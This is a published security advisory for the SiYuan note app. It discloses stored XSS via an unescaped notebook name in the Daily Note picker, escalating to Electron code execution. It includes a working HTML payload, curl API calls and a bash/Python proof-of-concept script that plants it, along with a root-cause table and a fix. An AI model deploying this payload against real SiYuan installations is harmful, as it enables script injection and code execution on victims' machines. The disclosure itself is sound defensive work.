Skip to content

Stored XSS via Unsanitized Notebook Name in the Daily Note Notebook Picker Leading to Remote Code Execution in Electron

Critical
88250 published GHSA-8c2m-33v9-vvqm Sep 18, 2026

Package

siyuan (Electron desktop application)

Affected versions

<=v3.8.4

Patched versions

v3.8.5

Description

Executive Summary

Notebook names pass through normalizeBoxName → normalizeDocTitle, which strips /, invisible Unicode, and PUA only — not <, >, ", or '. When two or more notebooks are open, the Daily Note picker builds a <select> by concatenating item.name into HTML with no escapeHtml(). That string is assigned to Dialog innerHTML.

Sibling UIs (history.ts, dataMigration.ts, onGetnotebookconf.ts) already escape notebook names. This picker does not.

A crafted notebook name such as </option></select><img src=x onerror=alert(1)> survives rename/import/sync and executes when the victim opens Daily Note. Electron renderer RCE follows.


Attack Chain

 1. Attacker creates or renames a notebook:
       name = "</option></select><img src=x onerror=alert(document.domain)>"

 2. normalizeBoxName → normalizeDocTitle:
       only strips "/", invisible, PUA
       < > " ' survive and are stored in conf.json (synced)

 3. Victim has ≥2 open notebooks and opens Daily Note
       (useLastNotebook false, or first use)

 4. app/src/util/mount.ts:72
       optionsHTML += `<option value="${item.id}">${item.name}</option>`

 5. Dialog content → this.element.innerHTML (dialog/index.ts:88-94)

 6. HTML parser closes <select>, parses <img>, onerror fires
       → XSS → Electron RCE

Environment

  • Application: SiYuan v3.8.4 desktop (Electron) or web
  • Attacker: Import/sync of a notebook whose conf.json name contains HTML, or rename via API
  • Prerequisite: Victim has at least two open notebooks and opens the Daily Note chooser

Step-by-Step Reproduction

Step 1 — Create two notebooks so the picker appears

Keep one normal notebook open. Create a second:

curl -X POST http://127.0.0.1:6806/api/notebook/createNotebook \
  -H "Content-Type: application/json" \
  -d '{"name":"</option></select><img src=x onerror=alert(document.domain)>"}'

Step 2 — Confirm the name is stored raw

curl -X POST http://127.0.0.1:6806/api/notebook/lsNotebooks \
  -H "Content-Type: application/json" -d '{}'

The name field contains the HTML (or \u003c which JSON.parse turns back into <).

Step 3 — Open Daily Note

In the UI: File - Daily Note (or the Daily Note command) with two notebooks open so the <select> dialog is shown.

The dialog HTML contains a broken <select> followed by a live <img onerror>. Alert fires. In Electron this is RCE.


Root Cause Summary Table

File:Line Component Issue
kernel/model/mount.go:166-171 normalizeBoxName Delegates to normalizeDocTitle; no HTML strip
kernel/model/file.go normalizeDocTitle Strips /, invisible, PUA only
app/src/util/mount.ts:72 Daily Note picker ${item.name} in innerHTML, no escapeHtml
app/src/dialog/index.ts:88-94 Dialog Assigns content to innerHTML
app/src/search/history.ts:506 (contrast) history UI Correctly uses escapeHtml(item.name)

Remediation

optionsHTML += `<option value="${item.id}">${escapeHtml(item.name)}</option>`;

Optionally also reject <> in normalizeBoxName.


Timeline

Date Event
2026-09-18 Identified unescaped notebook name in Daily Note picker on v3.8.4
2026-09-18 Confirmed normalizeBoxName does not strip HTML characters
2026-09-18 Confirmed sibling UIs already escape the same field

Reproduction Artifacts

  • Affected: app/src/util/mount.ts:72, kernel/model/mount.go:166
  • PoC: notebook-name.sh (embedded below)

PoC: notebook-name.sh

#!/usr/bin/env bash
# Stored XSS via notebook name in Daily Note <select> picker
set -uo pipefail

APP="${F6_APP:-http://127.0.0.1:6806}"
PAYLOAD='</option></select><img src=x onerror=alert(document.domain)>'

say() { printf '\n\033[1;34m[+] %s\033[0m\n' "$*"; }
ok()  { printf '\033[1;32m[OK] %s\033[0m\n' "$*"; }
bad() { printf '\033[1;31m[!!] %s\033[0m\n' "$*"; exit 1; }

say "Step 1: Reachability"
curl -sf -m 5 -o /dev/null "$APP/api/system/version" || bad "kernel not reachable"
ok "$APP"

say "Step 2: Create notebook with HTML name"
python3 - <<PY
import json, urllib.request, os
app = os.environ.get("F6_APP", "http://127.0.0.1:6806")
name = "</option></select><img src=x onerror=alert(document.domain)>"
req = urllib.request.Request(app + "/api/notebook/createNotebook",
    data=json.dumps({"name": name}).encode(),
    headers={"Content-Type": "application/json"})
print("       createNotebook", urllib.request.urlopen(req, timeout=10).status)
PY

say "Step 3: lsNotebooks — raw HTML in name"
python3 - <<'PY'
import json, urllib.request, os
app = os.environ.get("F6_APP", "http://127.0.0.1:6806")
req = urllib.request.Request(app + "/api/notebook/lsNotebooks",
    data=b"{}", headers={"Content-Type": "application/json"})
d = json.load(urllib.request.urlopen(req, timeout=10))
found = False
for nb in d.get("data", {}).get("notebooks", []):
    name = nb.get("name", "")
    if "<img" in name.lower() or "onerror" in name.lower() or "</option>" in name.lower():
        found = True
        print("       [!!] RAW HTML notebook name:", repr(name))
if not found:
    print("       dump:", json.dumps(d)[:500])
    print("       (Go json.Marshal may emit \\u003c; JSON.parse restores <)")
PY

say "RESULT"
cat <<'R'
  [CRITICAL] normalizeBoxName keeps <>. Daily Note picker injects item.name
             into Dialog innerHTML. ≥2 open notebooks → XSS → Electron RCE.

  Trigger: File - Daily Note with two notebooks open.
R

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits